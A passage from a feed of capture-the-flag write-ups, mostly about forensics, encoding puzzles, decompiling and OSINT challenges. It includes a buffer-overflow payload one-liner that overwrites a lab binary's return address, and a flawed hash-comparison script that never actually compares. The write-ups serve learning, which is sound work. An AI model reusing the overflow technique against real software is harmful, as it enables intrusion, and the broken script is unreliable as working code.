Files\Low\Content.IE5\TFIWBDF7\miscellaneous[1].txt</pre><p>perform a file dump of that offset</p><pre>┌──(mc4minta㉿vbox)-[~/Writeups-CTFriends2/for-john2/volatility]<br>└─$ python2 vol.py dumpfiles -Q 0x00000000bfa1a420 --profile=Win7SP1x64 -f ../John_Forgotten_Memories2.raw --dump-dir ../dumped<br>DataSectionObject 0xbfa1a420   None   \Device\HarddiskVolume1\Users\mingr\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\TFIWBDF7\miscellaneous[1].txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/568/1*J2puUv8Cneq7JuBxeQ_oqg.png" /></figure><p>Got this base64</p><pre>cgQpGVcWJjEhUSVHOiIBG1wmVSMS</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*-soJYstSenB2yeksXJPYXg.png" /></figure><p>Perform a base64 decode then xor it with the key we got</p><p>We got the flag:</p><p>CTFr2{I_L0V3_P0K3M0N}</p><h3>CH19_John_Forgotten_Memories</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*8ccLtOztRXdUKx4K093w_w.png" /></figure><p>Perform a filescan using volatility</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*e8QXVuTkUl4KY7lHt9xwXw.png" /></figure><p>I found these these three files and dump them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*dxyTcAVDErADROf2mvzyLA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/668/1*tOSk0wr7A0ej4ONnp8ZiVA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*EvCTz3VR-c4sQ19EjvAWTQ.png" /></figure><pre>┌──(min㉿ASA14-Pmr)-[~/mooc/john1]<br>└─$ vol -f DESKTOP-G2KMCQO-20250316-044232.dmp windows.dumpfiles --virtaddr 0x9004ceb79890<br>Volatility 3 Framework 2.11.0<br>Progress:  100.00               PDB scanning finished<br>Cache   FileObject      FileName        Result<br><br>DataSectionObject       0x9004ceb79890  Important.png   Error dumping file<br><br>┌──(min㉿ASA14-Pmr)-[~/mooc/john1]<br>└─$ vol -f DESKTOP-G2KMCQO-20250316-044232.dmp windows.dumpfiles --virtaddr 0x9004cf870ef0<br>Volatility 3 Framework 2.11.0<br>Progress:  100.00               PDB scanning finished<br>Cache   FileObject      FileName        Result<br><br>DataSectionObject       0x9004cf870ef0  secret.exe      file.0x9004cf870ef0.0x9004cf680af0.DataSectionObject.secret.exe.dat<br><br>┌──(min㉿ASA14-Pmr)-[~/mooc/john1]<br>└─$ vol -f DESKTOP-G2KMCQO-20250316-044232.dmp windows.dumpfiles --virtaddr 0x9004cf989700<br>Volatility 3 Framework 2.11.0<br>Progress:  100.00               PDB scanning finished<br>Cache   FileObject      FileName        Result<br><br>DataSectionObject       0x9004cf989700  text.txt.crdownloadb73f-63877b92cf99.tmp        file.0x9004cf989700.0x9004cf966130.DataSectionObject.text.txt.crdownloadb73f-63877b92cf99.tmp.dat<br><br>┌──(min㉿ASA14-Pmr)-[~/mooc/john1]<br>└─$ ls<br>DESKTOP-G2KMCQO-20250316-044232.dmp<br>file.0x9004ceb79890.0x9004cec72bb0.DataSectionObject.Important.png.dat<br>file.0x9004cf870ef0.0x9004cf680af0.DataSectionObject.secret.exe.dat<br>file.0x9004cf989700.0x9004cf966130.DataSectionObject.text.txt.crdownloadb73f-63877b92cf99.tmp.dat<br>filescan.txt</pre><p>For the .txt file we got this</p><pre>U0RWYiJrXSN9IGJpT1YgYiN+JVlzTw==</pre><p>I toss it in magic with the crib ctf</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O5yvBT0TPdwe41PfhILGmg.png" /></figure><pre>CTFr2{M3m0ry_F0r3n5Ic_</pre><p>For the secret.exe file , strings or decompile it and found this</p><pre>WkhfUEdTZTJf</pre><p>base64 decode it</p><pre>ZH_PGSe2_</pre><p>For the important.png, it’s really a .pdf file open it and you will found this hidden in the blank field</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rozrnIVzjlzZOMSUeN0l4A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bgj6PlSvIhvkaqDz6lr-bg.png" /></figure><pre>i5_34sy_4nd_Fun}</pre><p>Combined the three fragment</p><p>We got the flag:</p><p>CTFr2{M3m0ry_F0r3n5Ic_ZH_PGSe2_i5_34sy_4nd_Fun}</p><h3>CH23_Corrupted_File</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*Z5LDlBIcWfUTaU_pkL_pLA.png" /></figure><p>Got a corrupted file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/573/1*QBdPLm6LS0S2af7RGRG5-A.png" /></figure><p>open it in hexedit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/932/1*4V5WLx0gozgjWLBAGzepww.png" /></figure><p>see WAVEfmt, so it’s a .wav file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*rrqvXGnB3kqapCYo4hi5Tw.png" /></figure><p>edit the file signature bytes to be correct then open the file in audacity</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*c384SFQlL9JblseCzcZyiQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/695/1*MfrJjNO6gVwxYI8ooEwKUQ.png" /></figure><p>View the spectrogram of the audio file</p><p>We got the flag:</p><p>CTFr2{Hldd3N_D33p_zp3ctr0gr@M}</p><h3>CH11_Reverse64</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*9Owz5PU85WiNeslHQU2x2w.png" /></figure><p>We got a very longggg base64 looking file</p><pre>import base64<br><br>f = open(&quot;flag.txt&quot;,&quot;r&quot;)<br>enc = f.read()<br><br>while True:<br>        dec = base64.b64decode(enc)<br>        strdec = str(dec,&quot;utf-8&quot;)<br>        if &quot;CTFr2&quot; in strdec:<br>                print(strdec)<br>                break<br>        else:<br>                enc = dec</pre><p>Write a script to decode it over and over until flag is found</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*_kpTRSEMvI8AFK9Z-9D4Yw.png" /></figure><p>After running the script</p><p>We got the flag:</p><p>CTFr2{B4se64_F0r_46_t1m3s}</p><h3>CH13_The Forbidden Language</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gny8GnUgm9Fqzpu_5bQhVQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GHm7JXNhEppxFdQVt_MeUQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*KLvoPEqZbGUcje2V3S5NfQ.png" /></figure><p>We got three text file and one of them is all MooMoo so I search for</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DucHjkbHsetMjb09YgTIYg.png" /></figure><p>found a thing called COW programming language</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FcBHUPa5zkPMSmFrHYVDVA.png" /></figure><p>decode it using some online decoder and got a brainfuck code</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/1*CtYB3qUhtrexJVJdSvWNqQ.png" /></figure><p>decode it again and got this hex</p><pre>23:69:6e:63:6c:75:64:65:20:3c:73:74:64:69:6f:2e:68:3e:0d:0a:23:64:65:66:69:6e:65:20:77:68:6f:73:65:20:6c:6f:76:65:0d:0a:23:64:65:66:69:6e:65:20:77:68:61:74:20:69:6e:74:0d:0a:23:64:65:66:69:6e:65:20:75:68:20:3b:0d:0a:23:64:65:66:69:6e:65:20:77:6f:6c:66:20:76:6f:69:64:0d:0a:23:64:65:66:69:6e:65:20:79:69:70:70:65:65:20:7b:0d:0a:23:64:65:66:69:6e:65:20:73:69:6e:63:65:72:65:6c:79:20:7d:0d:0a:23:64:65:66:69:6e:65:20:79:6f:20:70:72:69:6e:74:66:0d:0a:23:64:65:66:69:6e:65:20:49:49:49:20:34:0d:0a:23:64:65:66:69:6e:65:20:72:65:6d:61:72:6b:20:28:0d:0a:23:64:65:66:69:6e:65:20:6e:6f:6e:65:20:29:0d:0a:23:64:65:66:69:6e:65:20:74:68:61:74:20:22:25:64:25:63:33:22:0d:0a:23:64:65:66:69:6e:65:20:6e:6f:74:20:3d:0d:0a:23:64:65:66:69:6e:65:20:78:6f:78:20:22:43:54:46:72:32:22:0d:0a:23:64:65:66:69:6e:65:20:62:6f:78:69:6e:67:20:5b:5d:0d:0a:23:64:65:66:69:6e:65:20:6e:69:63:65:20:27:67:27:0d:0a:23:64:65:66:69:6e:65:20:68:75:68:20:2c:0d:0a:23:64:65:66:69:6e:65:20:73:63:61:72:65:20:63:68:61:72:0d:0a:23:64:65:66:69:6e:65:20:74:68:6f:73:65:20:22:25:63:43:25:63:22:0d:0a:23:64:65:66:69:6e:65:20:62:61:63:6b:74:69:63:6b:20:72:65:74:75:72:6e:0d:0a:23:64:65:66:69:6e:65:20:6e:61:75:68:20:30:0d:0a:23:64:65:66:69:6e:65:20:77:65:65:65:65:20:2a:0d:0a:23:64:65:66:69:6e:65:20:67:75:65:73:73:20:2b:0d:0a:23:64:65:66:69:6e:65:20:6c:75:63:6b:79:20:31:0d:0a:23:64:65:66:69:6e:65:20:74:68:69:73:20:22:25:73:25:63:25:63:25:63:25:63:22:0d:0a:23:64:65:66:69:6e:65:20:6c:69:6b:65:20:22:6c:25:64:4e:25:63:25:63:22:0d:0a:23:64:65:66:69:6e:65:20:6e:6f:6f:62:20:27:7b:27:0d:0a:23:64:65:66:69:6e:65:20:67:72:65:61:74:20:27:7d:27:0d:0a:23:64:65:66:69:6e:65:20:74:68:65:20:31:30:0d:0a:23:64:65:66:69:6e:65:20:61:6e:64:20:31:31:0d:0a:23:64:65:66:69:6e:65:20:6d:69:6e:65:20:32</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eo0D_VSf3ohi2-Tuq11Fpw.png" /></figure><p>decode it and got this #define and #include which look like c code</p><pre>#include &lt;stdio.h&gt;<br>#define whose love<br>#define what int<br>#define uh ;<br>#define wolf void<br>#define yippee {<br>#define sincerely }<br>#define yo printf<br>#define III 4<br>#define remark (<br>#define none )<br>#define that &quot;%d%c3&quot;<br>#define not =<br>#define xox &quot;CTFr2&quot;<br>#define boxing []<br>#define nice &#39;g&#39;<br>#define huh ,<br>#define scare char<br>#define those &quot;%cC%c&quot;<br>#define backtick return<br>#define nauh 0<br>#define weeee *<br>#define guess +<br>#define lucky 1<br>#define this &quot;%s%c%c%c%c&quot;<br>#define like &quot;l%dN%c%c&quot;<br>#define noob &#39;{&#39;<br>#define great &#39;}&#39;<br>#define the 10<br>#define and 11<br>#define mine 2</pre><p>Combine this with the flag.txt</p><pre>#include &lt;stdio.h&gt;<br>#define whose love<br>#define what int<br>#define uh ;<br>#define wolf void<br>#define yippee {<br>#define sincerely }<br>#define yo printf<br>#define III 4<br>#define remark (<br>#define none )<br>#define that &quot;%d%c3&quot;<br>#define not =<br>#define xox &quot;CTFr2&quot;<br>#define boxing []<br>#define nice &#39;g&#39;<br>#define huh ,<br>#define scare char<br>#define those &quot;%cC%c&quot;<br>#define backtick return<br>#define nauh 0<br>#define weeee *<br>#define guess +<br>#define lucky 1<br>#define this &quot;%s%c%c%c%c&quot;<br>#define like &quot;l%dN%c%c&quot;<br>#define noob &#39;{&#39;<br>#define great &#39;}&#39;<br>#define the 10<br>#define and 11<br>#define mine 2<br>    <br>    wolf whose remark none yippee what island not the uh yo remark that huh island huh island weeee and <br>guess III weeee remark lucky guess lucky none none uh  uh  uh  uh  uh sincerely<br>    <br>    what main remark wolf none yippee scare island boxing not xox huh open not noob huh close not great uh<br>what funny not III huh a not funny weeee 18 guess lucky huh badass not a guess remark mine weeee and none uh<br>yo remark this huh island huh open huh funny huh a huh badass none uh whose remark none uh yo remark those huh <br>badass huh badass none uh yo remark like huh III huh nice huh close none uh backtick nauh uh sincerely</pre><p>Compile and run the code</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/811/1*DfRvs3-qteLqhvjBXblWog.png" /></figure><p>We got the flag:</p><p>CTFr2{I_10v3_C_l4Ng}</p><h3>CH15_256 Cups of Tea</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/1*Or2JoOlgZxfClcTT2QxIYA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XlaeMwmdXUOsqGMDkjPyFw.png" /></figure><p>got a hash and many flags</p><pre>import hashlib<br><br>with open(&quot;flag.txt&quot;,&quot;r&quot;) as file:<br>        flags =[line.strip() for line in file.readlines()]<br><br>file = open(&quot;hash.txt&quot;,&quot;r&quot;)<br>hash = file.read()<br>print(hash)<br><br>for flag in flags:<br>        enc = flag.encode(&#39;utf-8&#39;)<br>        hashed = hashlib.sha256(enc).hexdigest()<br>        hashed = hash<br>        print(flag)<br>        break</pre><p>write a script which perform sha256 to each flag and compare with the hash to find which flag is the real one</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*wVAHAgGD5uO_i3QH2zDogA.png" /></figure><p>We got the flag:</p><p>CTFr2{th1s_1s_r3al_f1ag}</p><h3>CH16_Head shoulders knees and toes</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/908/1*jjFrcFIVOntqCW01MlU-IA.png" /></figure><p>The problem gave us “file.zip” but it’s in fact “file.png”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*5PVeZK77gLfje3CqdP-obA.png" /></figure><p>rename and open it , got this qrcode, just scan it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*4cC04xyO7wS-LByzDdQoOQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QIdCr3_3fu7q7krNmdWE-g.png" /></figure><p>We got the flag:</p><p>CTFr2{h34d_sh0u1d3rs_kn33s_4nd_to3s}</p><h3>CH20_Bocchi Bocchi</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*sMz8c-Yj-m5TwalqM-PQOg.png" /></figure><p>the problem gave us a picture, i perform binwalk on it and found multiple zip file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xL-9cxxeOlZqct6yJ2af8Q.png" /></figure><p>extract it and found multiple pictures</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/515/1*-gnCX1XC7S53VTr2SAe73w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*K5qplRJ9z58JgkySY7BKzQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/846/1*q80MamCiTM60fCggfQU5Lw.png" /></figure><p>Toss the images in <a href="https://aperisolve.com/">https://aperisolve.com/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JxCOvjOXp4ulLyT2NQZuHA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H8bLajSAIKhlP9_REJ-Ejg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xDtEHinLWbK2EN--UeZNfg.png" /></figure><p>Download then and combined it in some tools I searched “picture combiner grid”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/1*QgQbp6sa9fgOYEEJ09HhMw.png" /></figure><p>Or just combined the whole thing:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*McDKG6BIyjyztCw1d9uROQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*33U6UobEVuPJAGALF0nqQw.jpeg" /></figure><p>We got the flag:</p><p>CTFr2{B0cch1_d4_RR0cK_UwU}</p><h3>CH24_Split Fiction</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*xarwuWPkc2WRbJEy-TDotQ.png" /></figure><p>the problem gave us a picture and a .mp4 video</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*G6u5Lou6wyvLNjnCWybVFQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/1*w0KnhzVZTGovgQhzGpTAvw.png" /></figure><p>The challenge description suggest we combined these two.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*qXulFBmQ-x_XyjQ-UDvtLA.png" /></figure><p>found this base64 in the metadata of fiction1.png</p><pre>Tm90IHRoYXQgZWFzeSBzaXIsIHRyeSBhbm90aGVyIHdheS4uLg0KICAgCQkJIAkgIA0KCQ0KICAgICAJCSAJICAJDQoJDQogICAgIAkJIAkJCSANCgkNCiAgICAgCQkJCSAgCQ0KCQ0KICAgICAJCQkgCSAJDQoJDQogICAgIAkJCSAgCSANCgkNCiAgICAgCQkgCQkgIA0KCQ0KICAgICAgCSAJCQkgDQoJDQogICAgIAkJICAgCQkNCgkNCiAgICAgCQkgCQkJCQ0KCQ0KICAgICAJCSAJCSAJDQoJDQogICAgICAJIAkJCQkNCgkNCiAgICAgCQkgCSAJIA0KCQ0KICAgICAJCQkgCSAJDQoJDQogICAgICAJCSAJIAkNCgkNCiAgICAgCQkgICAgCQ0KCQ0KICAgICAJCQkgIAkJDQoJDQogICAgIAkJIAkgCSANCgkNCiAgICAgIAkJIAkgCQ0KCQ0KICAgICAJCSAgICAJDQoJDQogIA0KDQoNCg==</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*Obd2o7alNindjmpAICBrdQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/831/1*Pm2QQgZZYsRHOKaGhYVHOw.png" /></figure><p>The decoded text looked like nothing but it’s in fact whitespace langguage</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/863/1*tpV9cZO1X8ofdsZy5z2_4g.png" /></figure><p>decode it and got a url linked to this image</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w2InjKjQOdZGdkCj0WIKdw.png" /></figure><p>For the fiction2.mp4 we found a link in spectrogram view</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s5qyNEOGZ79mT1H-Na_-nQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NzUQstytfGktbFEwky6Rbg.png" /></figure><p>Combined the two picture using bitwise_xor function in OpenCV library</p><pre>import cv2<br>import numpy as np<br>import matplotlib as plt<br><br>img1 = cv2.imread(&#39;fiction1.png&#39;)<br>img2 = cv2.imread(&#39;fiction2.png&#39;)<br><br>xor_img = cv2.bitwise_xor(img1,img2)<br><br>cv2.imwrite(&#39;combined_fiction.png&#39;,xor_img)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*ibORmHui65UX8HvD9f_ZYA.png" /></figure><p>We got the flag:</p><p>CTFr2{TovcH_Gr45s_8ro}</p><h3>CH25_Chicken_Hard_Coded</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*1PnFqOiKIcFDLKjeo80Uvw.png" /></figure><p>toss the file in jadx decompiler</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3-ESo7iDrGQ8AuMoL8o0mg.png" /></figure><p>There are two interesting function first is this one</p><p>the program set the flag to xor(b,key) b is the decoded hex of recipe</p><p>and the key is from com.definitelynotfriedchicken.super_secret_recipe.key</p><pre>if (MainActivity.this.password_input.getText().toString().contentEquals(sb.toString())) {<br>                        byte[] b = MainActivity.this.fromHex(MainActivity.this.recipe);<br>                        try {<br>                            ApplicationInfo ai = MainActivity.this.getPackageManager().getApplicationInfo(MainActivity.this.getPackageName(), 128);<br>                            Bundle bundle = ai.metaData;<br>                            String key = bundle.getString(&quot;com.definitelynotfriedchicken.super_secret_recipe.key&quot;);<br>                            MainActivity.this.flag_reveal.setText(MainActivity.this.xor(b, key));<br>                        } catch (PackageManager.NameNotFoundException e) {<br>                            System.out.println(&quot;Error cannot find data&quot;);<br>                        }<br>                    }</pre><p>we can see how the recipe and how this xor function works here</p><pre>private String recipe = &quot;0167350671130202184a31490241172b205855500f4e&quot;;<br><br>    /* JADX INFO: Access modifiers changed from: private */<br>    public String xor(byte[] b, String key) {<br>        StringBuilder sb = new StringBuilder();<br>        for (int i = 0; i &lt; b.length; i++) {<br>            sb.append((char) (b[i] ^ key.charAt(i % key.length())));<br>        }<br>        String result = sb.toString();<br>        return result;<br>    }</pre><p>In AndroidManifest.xml we will see the key hardcoded in the file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*Lx00kuoVQ742YWglvztEsg.png" /></figure><pre>&lt;meta-data<br>            android:name=&quot;com.definitelynotfriedchicken.super_secret_recipe.key&quot;<br>            android:value=&quot;B3stCh1ck3n!&quot;/&gt;</pre><pre>Key = B3stCh1ck3n!</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/1*DBCFz1FsCwFIk5vwjC_6Vw.png" /></figure><p>Reverse the process</p><p>We got the flag:</p><p>CTFr2{3asy_h@rd_c0d3d}</p><p>For real, this is a lazy writeups, I just wanna do writeups so i do lol</p><p><a href="https://github.com/Mc4minta">Mc4minta - Overview</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=01b68f5f5ed2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Writeups SwampCTF2025 | Mc4minta]]></title>
            <link>https://medium.com/@mc4minta/swampctf2025-writeups-mc4minta-9076fd8501ea?source=rss-562565b0d666------2</link>
            <guid isPermaLink="false">https://medium.com/p/9076fd8501ea</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[swampctf]]></category>
            <category><![CDATA[mc4minta]]></category>
            <dc:creator><![CDATA[Mc4minta]]></dc:creator>
            <pubDate>Tue, 01 Apr 2025 12:39:24 GMT</pubDate>
            <atom:updated>2025-04-15T10:41:25.384Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jxcQ6ZghbLGzNsRvSW53rw.png" /></figure><p>Player : Mc4minta</p><p>Team : MiN@soloCTF</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H7KxphgIPcMNQM5l_dDpmA.png" /></figure><p>Solved Challenges List:</p><ul><li>Hidden Message-Board [Web]</li><li>Beginner Pwn 1 [PWN]</li><li>Beginner Pwn 2 [PWN]</li><li>Pretty Picture: Double Exposure [Misc]</li><li>Join our Discord! [Misc]</li><li>Party Time! [OSInt]</li><li>On This Ice [OSInt] (Solved after the comepetition ended)</li><li>Party Time! Level 2 [OSInt]</li></ul><h3>Hidden Message-Board</h3><h4>Description:</h4><blockquote>Somewhere on this message-board is a hidden flag. Nothing has worked so far but we have noticed a weird comment in the HTML. Maybe it’s a clue</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*vGr3WYhlUdBPGmFNQhAl2Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iic_3mN9YPwdBS24kt-yjA.png" /></figure><p>As a starter point I view the source of this webpage</p><p>then i go to /static/js/bundle.js and search for flag because I am clueless lol</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MAMcHHmsvWKLmW9mX52F-w.png" /></figure><p>I see this path that look interesting</p><pre>static/media/flag.d93dd6a8616cc31d36db.txt</pre><p>after going in this path we got the flag:</p><p>swampCTF{Cr0ss_S1t3_Scr1pt1ng_0r_XSS_c4n_ch4ng3_w3bs1t3s}</p><p>As the flag suggest this chellenges is about XSS but I solved it using this way because I am noob, but we got the flag anyway I guess it’s fine lol</p><h3>Beginner Pwn 1</h3><h4>Description:</h4><blockquote>Are you really admin?</blockquote><blockquote>This challenge serves as an introduction to pwn that new ctfers can use to grasp basic pwn concepts.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/596/1*xJE2tpcXxaCE3OdzfRY1Zg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/793/1*qqT578wVG4mmh665Xz5zqA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*1CapbolqHkMYpbnfM3R1Vg.png" /></figure><p>Enter some As and the flag will be printed, because the buffer is overflowed</p><p>we got the flag:</p><p>swampCTF{n0t_@11_5t@ck5_gr0w_d0wn}</p><h3>Beginner Pwn 2</h3><h4>Description:</h4><blockquote>In this challenge there is a function which is not called. Can you fix that?</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*2HBFFps9qa2_VUIFnuPIKA.png" /></figure><p>After downloading the binary file, I try to run it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/1*gEjBgZRpGVX6y5xVxdOJwQ.png" /></figure><p>This program seem to be a program which take inputs and print it</p><p>Then I run it with pwndbg and then at all the functions</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*H2Nc9u1u6p-zGmU4JiMGAg.png" /></figure><p>As you can see, we saw the main function and win function</p><p>I Think this challenge want us to exploit buffer overflow to replace the return address of main function with the address of win function to call it</p><p>I will use cyclic to generate pattern to break the program and find the offset</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RQD4MOt5SuVkJEx67cvRCw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AJ3c5msB1bq8l2kEZADduQ.png" /></figure><p>The offset is 18, so i craft the payload as PaddingOffset + win func Address</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/1*5OgvP8cgDSyhmaxx6XlU3Q.png" /></figure><pre>PaddingOffset = 18<br>win func address = 0x0000000000401186<br><br>Payload crafting program:<br>$python2 -c &quot;print &#39;A&#39;*18 + &#39;\x86\x11\x40\x00\x00\x00\x00\x00&#39;&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tdsnVeD4RXVojQvUTT-_qA.png" /></figure><p>After I parse the crafted payload in to the program We got the flag:</p><p>swampCTF{1t5_t1m3_t0_r3turn!!}</p><h3>Pretty Picture: Double Exposure</h3><h4>Description:</h4><blockquote>Hidden in the bits below, an image wait’s to be shown.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/1*W0twkuQ2URyuchPgs3Fwsw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*reFHRb0zo9kFv3OLXbliRQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/520/1*BJ7CF3sayMrrjdsgnimHAg.png" /></figure><p>I just Parse it to some online forensic tools and I see the flag so</p><p>We got the flag:</p><p>swampCTF{m3ss4g3s_0r_c0de_c4n_b3_h1dd3n_1n_1m4g3s}</p><h3>Join Our Discord</h3><p>Nothing to say, it’s just joining the discord and the flag is there</p><h3>Party Time!</h3><h4>Description:</h4><blockquote>This party house is known for its 3AM outings, but you’ve gotta work for the location if you want to come! Enter the GPS coordinates of the location!</blockquote><blockquote>Example: swampCTF{xx.xx.xx,xx.xx.xx}, swampCTF{xx.xx, xx.xx}</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/597/1*nifS28STBUoYioWDrDM4sg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EqNAxDnv10AmNZRHxNqbrw.png" /></figure><p>This challenge is pretty straightforward, look at the meta data and you got the GPS coordinate, then wrap it as flag format and we got the flag:</p><p>swampCTF{10.32,59.68}</p><h3>On Thin Ice</h3><h4>Description:</h4><blockquote>I’ve been looking for well-rated ice-skating rinks, I wonder if there is one out there with decent reviews?</blockquote><blockquote>The flag format is swampCTF{…}. You will not need to wrap it yourself.</blockquote><p>Note: I didn’t solve this problem on time but I solved it after the competition ended</p><p>This problem give me a blank picture so i view its metadata, found a hex</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*axh7wTkIvCnG07EYBR7p0g.png" /></figure><pre>D3 A6 D0 BA D0 BC D1 8B D1 81 D3 A7 D0 B4 20 D0 B2 D0 BE D1 81 D1 8C D0 BA D0 BE D0 B2 2E 20 D0 9C D0 B5 D0 B7 D0 B4 D0 BB D1 83 D0 BD 2E</pre><p>After I decode it I got this komi language phrase and translate it</p><pre>Original:<br>Ӧкмысӧд воськов. Мездлун.<br><br>Translated:<br>Step eight. Freedom.</pre><p>After I search about it I have learn about a famous COD memes</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*PH1nc40XtP5zHPIFDBoBeA.png" /></figure><p>I won’t talk about it here, just search it yourself lol</p><p>But the answer is in the review off a google map place (Like partytime 2)</p><p>The place in this problem is an ice skate rink in the city where the mission took place in the meme</p><p>After looking up, I found that the mission is in Vorkuta</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*8VV--VfWi0Vb7dszXzvHuA.png" /></figure><p>We got the flag:</p><p>swampCTF{ForUM4sOnN0tForM3}</p><h3>Party Time! Level 2</h3><p>Description:</p><blockquote>The party just ended, but people are hungry. Find the nearest fast food spot to see where everyone went!</blockquote><blockquote>The flag format is swampCTF{…}. You will not need to wrap it yourself.</blockquote><p>I just look at the coordinate on the Party Time 1 challenges</p><p>and i found this fastfood spot called “Checkers”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/412/1*L6yLL9hzY-u1RRklbGGLKw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/410/1*16KehxDflpErULPsWWnIKw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/410/1*16KehxDflpErULPsWWnIKw.png" /></figure><p>In the review tabs just click sort on newest review and scroll down</p><p>we got the flag:</p><p>swampCTF{Checkers_Yum}</p><p>Thank for reading, I just make writeups for fun &gt;&lt;</p><img 